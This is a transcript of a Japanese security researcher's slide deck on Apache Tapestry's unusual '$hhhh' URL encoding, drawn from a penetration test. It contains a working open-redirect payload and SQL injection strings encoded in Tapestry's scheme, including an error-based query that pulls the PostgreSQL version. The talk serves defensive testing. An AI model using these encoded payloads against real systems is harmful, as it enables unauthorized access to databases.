Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Apache Tapestryの 注意すべき特殊な仕様

raise-isayan
September 05, 2023

Apache Tapestryの 注意すべき特殊な仕様

raise-isayan

September 05, 2023
Tweet

Other Decks in Research

Transcript

  1. Apache Tapestryの
    注意すべき特殊な仕様
    2023年9月4日

    View full-size slide

  2. 自己紹介
    2

    View full-size slide

  3. 自己紹介
    ⚫ お名前:諌山 貴由(いさやま たかよし)
    ⚫ 会社:三井物産セキュアディレクション
    ⚫ セキュリティ:2008年3月から
    ⚫ 趣味:旅行 (メインは日本国内)
    2007年頃から特に旅行が増えた
    • 47都道府県すべて訪問かつ宿泊ずみ
    47都道府県めぐりは最低2巡している
    • お城巡り
    • 日本建築・昔の建物・遺跡
    • 温泉・自然
    • etc
    ⚫ 国外
    • 台湾(台北)
    ⚫ そして写真撮影!!
    3

    View full-size slide

  4. 本編
    普段主にWebアプリケーション脆弱性診断を実施しています
    その中で遭遇したあまり見たことない例を紹介します
    ※第39回 MBSDセキュリティ勉強会~LT大会~
    にて発表した内容と同一になります。
    4

    View full-size slide

  5. 注意
    資料内には、不正アクセス禁止法をはじめとする、法律に抵触する可能
    性があるものが含まれます。本資料の目的は情報提供となっており
    犯罪行為を助長する意図ではありません
    ことをご理解ください。
    また、資料内に一部、診断による攻撃のコードが含まれています。
    診断行為はWebアプリケーションに対する攻撃と同質です。本番環境や
    商用環境など、自分の管理下にないサーバに対し診断行為は絶対に行わ
    ないでください。最悪の場合、訴訟に発展します。
    5

    View full-size slide

  6. 注意
    実際の案件をもとに構成しておりますが、匿名性を保つため、オリジナ
    ルのリクエストおよびレスポンスから書き換えをおこなっています。
    このため整合性がなくなっている
    可能性があります。
    あらかじめ了承ください
    6

    View full-size slide

  7. Webアプリケーション脆弱性診断
    一般的に、Web診断ではパラメータ操作にて、脆弱性を探す。このとき
    アプリケーションが解釈できる形式で送るのが基本。
    エンコード方法はURLエンコード(RFC3986)が一般的
    その他にもJSON形式やXML形式、はたまたBase64形式などが存在する。
    本来と異なる形式で送った場合、脆弱性を検出できない可能性がある。
    7
    エンコード前 URLエンコード
    % %25
    < (大なり) %3c
    ‘ (シングルクォーテーション) %27
    診断 %e8%a8%ba%e6%96%ad (UTF-8)

    View full-size slide

  8. 切っ掛け
    とある案件の診断においてログイン前に以下のURLが存在していた
    https://★/login/$N/$N
    URLに付与されている値が気になる。
    これは何だろうかと気になっていた
    8
    $N/$N

    View full-size slide

  9. オープンリダイレクト脆弱性
    ログイン前のリクエストに以下のようなURLがあった
    https://★/login/$N/$N?redirect=/assets/example.res
    これ、オープンリダイレクトいけないか?
    とおもいURLにアクセス後にログインすると
    https://★/login/$N/$N?redirect=//www.mbsd.jp
    ログイン後のレスポンス(行けた)
    9
    Location: https://www.mbsd.jp

    View full-size slide

  10. オープンリダイレクト脆弱性
    ログイン画面に遷移するタイミングにて自動でエンコードされており
    以下の一風変わったエンコード処理がされていた。
    文字コードが、HEX変換後、「$hhhh」形式に変換されている。
    なにこれ・・・
    10
    特殊なエンコード 特殊なデコード
    t%3Aac=1/%24002f%24002fwww.mbsd.jp t:ac=1/$002f$002fwww.mbsd.jp
    // $002f$002f

    View full-size slide

  11. オープンリダイレクト脆弱性
    普通のURLエンコードじゃだめなのかという疑問
    試しにログイン時のエンコードをURLエンコードにしてログイン。
    しかしこれだと解釈されずオープンリダイレクトは成功しない
    要は「$hhhh」のエンコード形式にしないとみつけられない問題が存在す
    るということ
    ただしまだ、ログイン機能のみの特殊な仕様の可能性もある。
    11
    URLエンコード前 URLエンコード
    t:ac=1///www.mbsd.jp t%3Aac=1/%2F%2Fwww.mbsd.jp

    View full-size slide

  12. パスの解釈で利用可能
    システム全体の仕様なら他の機能の場所でこの特殊なエンコードの仕様
    を利用できるのではと推測?
    例えば以下の場合を比較してみたところ同じ挙動
    1)https://★/◆/detail/mbsd
    2)https://★/◆/detail/mbs$0064 (1)と同じ文字列相当となる値
    同じ挙動を示したことで確信
    システム全体の問題っぽい
    12

    View full-size slide

  13. レスポンスからフレームワークの判別
    レスポンスからフレームワークがApache Tapestryであることはわかって
    いた
    しかし、これがApache Tapestryの仕様なのかは確信がもてなかった。
    13

    View full-size slide

  14. レスポンスからフレームワークの判別
    当案件ではデバッグ機能が有効になっておりデバッグログを取得できる
    問題が別途存在していた。
    パラメータ操作後にとあるURLにアクセスすることでスタックトレースを
    含むログが取得できる。
    14

    View full-size slide

  15. デバッグ機能
    システムが解釈できそうにない不正なエンコード形式を送信
    1)https://★/◆/detail/mbs${234}
    その後、とあるURLにアクセスすると以下のスタックトレースが表示され

    パッケージ名が「 org.apache.tapestry5 」の箇所でエラーためApache
    Tapestryの仕様と考えて良さそう
    15
    java.lang.IllegalArgumentException: Input string ‘mbs${234}' is not valid; the '$'
    character at position 11 should be followed by another '$' or a four digit hex
    number (a unicode value).
    at
    org.apache.tapestry5.internal.services.URLEncoderImpl.decode(URLEncoderIm
    pl.java:138)

    View full-size slide

  16. URLの識別子の部分でSQLインジェクションを試す
    アプリケーション全体の仕様ってわかったため
    デバッグ機能のスタックトレースを活用して調査を実施
    シングルクオート(‘)を含めてアクセス
    1)https://★/◆/detail/mbsd$0027
    PostgreSQLのエラーが表示される。めちゃめちゃ怪しい。
    16
    Caused by: org.postgresql.util.PSQLException: ERROR: unterminated
    quoted string at or near “mbsd''))"

    View full-size slide

  17. SQLのバージョン取得
    念のため関数を解釈しているか確認
    1)「’||trim('')||’」の場合 は正常
    https://★/◆/detail/mbsd$0027$007c$007c$0074$0072$0069$006d$002
    8$0027$0027$0029$007c$007c$0027
    2)定義されていない「'||trmx('')||'」の場合 はエラーとなった
    https://★/◆/detail/mbsd$0027$007c$007c$0074$0072$006d$0078$002
    8$0027$0027$0029$007c$007c$0027
    データベース内の情報
    とれるだろうと確信
    17

    View full-size slide

  18. SQLのバージョン取得
    特殊なエンコードのためBlindで抜くのはめんどい
    スタックトレース出力できるんだからこれを利用できるよね。
    HEX形式に変換して以下にする
    取れた
    18
    ’||cast(version() as int)||’
    $0027$007c$007c$0063$0061$0073$0074$0028$0076$0065$0072$00
    73$0069$006f$006e$0028$0029$0020$0061$0073$0020$0069$006e$
    0074$0029$007c$007c$0027
    Caused by: org.postgresql.util.PSQLException: ERROR: invalid input
    syntax for integer: “PostgreSQL 13.7 (Debian 13.7-1.pgdg110+1) on
    x86_64-pc-linux-gnu, compiled by gcc (Debian 10.2.1-6) 10.2.1
    20210110, 64-bit“
    Where: PL/pgSQL function dso.count_estimate(text) line 6 at FOR over
    EXECUTE statement

    View full-size slide

  19. URLEncodeの特殊な解釈(1)
    特殊なエンコードについてTapestryソースコードから仕様を調査。
    https://github.com/apache/tapestry-5/blob/master/tapestry-
    core/src/main/java/org/apache/tapestry5/internal/services/URLEncoderIm
    pl.java
    次の文字以外がエンコードされることが判明。
    19
    文字種別 対象
    英字(大文字小文字) abcdefghijklmnopqrstuvwxyz
    ABCDEFGHIJKLMNOPQRSTUVWXYZ
    数字 0123456789
    記号 -_.:

    View full-size slide

  20. URLEncodeの特殊な解釈(2)
    以下の文字は特殊な解釈がされる
    ※ 「$N$B」「$B$0027」「$N$0027」のように組み合わせて表現は不可
    最初にでてきた「$N」は
    nullであったことがここで判明
    20
    URLEncode 意味 備考
    $hhhh 文字エンコード Unicodeでエンコード
    $N null (javaのnull文字) ※文字全体が一致する必要がある
    $B Empty (空文字 ””) ※文字全体が一致する必要がある
    $$ $ ($のエスケープ)

    View full-size slide

  21. 特殊なエンコード仕様のため社内ツールではSQLの検出をできなかった。
    また他のツールでも同様と思われる。
    結果
    脆弱性を見過ごす可能性あり!!
    また、SQL以外のトラバーサルなどの他の脆弱性についても可能性がある
    Apache Tapestryのフレームワークであるか 意識しよう!!
    URLEncodeの特殊な解釈
    21

    View full-size slide

  22. Apache Tapestry判定方法
    仮にレスポンスにバージョンが含まれてなくても判断は可能
    Apache Tapestryには「t:formdata」という少し特殊なパラメータを含む。
    オブジェクトをシリアライズ(GZIP+base64)した値が入っており該当パラ
    メータがある場合はApache Tapestry と推測してよい。
    過去にMBSDで本パラメータでデシリアライズの脆弱性を報告。
    https://jvn.jp/jp/JVN17611367/index.html (CVE-2014-1972)
    なお、現在はHMACによる改ざんチェックが入っている。
    22
    t:formdata=xvmVXKu0wyASNuAQIojwNkVd3rs=:H4sIAAAAAAAA(後略)

    View full-size slide

  23. ツール(おまけ)
    YaguraExtenderというBurpの拡張
    ツールを作成し公開しています。
    https://github.com/raise-
    isayan/YaguraExtender
    本ツールを利用することで各種
    エンコードができます(マルチ
    バイト対応)
    Apache Tapestry用のエンコード
    を実装しました。(v2.2.13.6 以降)
    まだ数えるほどの案件でしか見
    たことないため役に立つことが
    あるのか謎です。
    23

    View full-size slide

  24. まとめ
    • 気になるものはフレームワークまで調査を広げてみよう
    • Apache Tapestryに限らず特殊なエンコーディングだと感じたときは注
    意しよう
    24

    View full-size slide